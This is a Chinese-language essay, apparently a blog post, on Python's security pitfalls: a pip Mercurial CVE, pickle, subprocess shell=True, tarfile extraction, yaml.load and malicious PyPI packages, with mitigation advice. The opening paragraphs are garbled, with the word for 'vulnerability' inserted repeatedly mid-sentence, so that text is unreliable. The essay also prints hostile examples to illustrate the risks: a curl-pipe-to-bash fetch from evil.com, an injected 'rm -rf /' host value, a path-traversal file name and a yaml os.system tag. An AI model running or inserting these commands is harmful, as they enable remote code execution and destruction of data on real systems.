python漏洞
2023年11月,漏洞Python软件基金会悄悄更新了一个安全公告:CVE-2023-5752。漏洞这个漏洞藏在pip的漏洞Mercurial集成里,攻击者可以构造一个恶意的漏洞仓库地址,让pip在安装时执行任意命令。漏洞听起来吓人,漏洞但更吓人的漏洞是——这个漏洞的修复方式只是加了一行参数校验。pip的漏洞代码库里有超过20万行代码,这种“一行修复”的漏洞漏洞往往被淹没在更新日志里,没人注意。漏洞
Python的漏洞漏洞分两类。一类是漏洞CPython解释器本身的,比如2021年的漏洞CVE-2021-3177,ctypes模块的漏洞缓冲区溢出,能让远程攻击者直接执行代码。漏洞这类漏洞少,但杀伤力大。另一类是标准库和生态工具的,比如urllib的解析问题、pickle的反序列化、tarfile的路径穿越。这些模块设计时就没考虑安全边界,用起来方便,踩坑也容易。
我见过一个真实案例。某公司的内部工具用pickle序列化用户配置,存到Redis里。他们觉得内网安全,没做校验。结果一个实习生写了个脚本,把pickle.loads的输入源改成了用户可控的字段。攻击者只要往配置里塞一段恶意字节流,就能在服务器上执行os.system("curl http://evil.com/shell.sh | bash")。pickle的文档里其实写得很清楚:“永远不要反序列化不可信数据。”但这句话太像免责声明了,没人当真。
Python的安全模型有个根本矛盾:它假设开发者是理性的,会主动检查输入、限制权限、隔离环境。但现实是,大多数项目赶工期,eval直接用,subprocess带shell=True,yaml.load不换成safe_load。2022年PyPI上爆出过一批恶意包,名字叫requests-darwin-lite、colorsam,装完后偷偷跑urllib.request下载挖矿程序。这些包能上架,是因为PyPI的自动扫描只查已知签名,不查行为。你装的时候pip install不会问你“这个包要访问网络,允许吗?”——它直接装。
CPython的subprocess模块有个参数叫shell=True。官方文档说“如果shell=True,且args是字符串,那么命令会通过shell执行。”翻译成人话:你拼接的用户输入里带个;,就能追加任意命令。比如subprocess.run(f"ping { host}", shell=True),攻击者把host设成127.0.0.1; rm -rf /,你的服务器就没了。这个坑从Python 2.4到现在,20年了,还是有人踩。
标准库tarfile的extractall方法更离谱。它默认不检查成员路径,一个叫../../etc/passwd的文件能直接覆盖系统文件。Python 3.12才加了filter='data'参数,但默认值还是None——意思是“你自己看着办”。很多CI/CD脚本用tarfile解压构建产物,如果产物来源不可信,攻击者能直接写~/.ssh/authorized_keys。
我的判断是:Python的漏洞不是技术问题,是文化问题。社区推崇“简洁”“可读”,但安全需要冗余、校验、边界检查。pickle比JSON快,但JSON不会执行代码。eval比ast.literal_eval灵活,但灵活意味着危险。每次看到有人用yaml.load不带Loader参数,我就想问他:你知道!!python/object/apply:os.system能直接弹shell吗?
修复方法其实不复杂。pickle换成json或msgpack;subprocess用列表参数,别用字符串;tarfile加filter='data';yaml用safe_load。但问题在于,这些改动会破坏现有代码,增加迁移成本。所以很多项目选择“先跑起来再说”。漏洞就这么留着,等下一个CVE编号。
Python 3.13要引入--disable-gil,性能会提升,但并发安全模型也会变。到时候threading的竞态条件可能更隐蔽。漏洞不会消失,只会换地方。你唯一能做的,是别把pickle当JSON用,别把eval当计算器用。剩下的,交给pip audit和运气。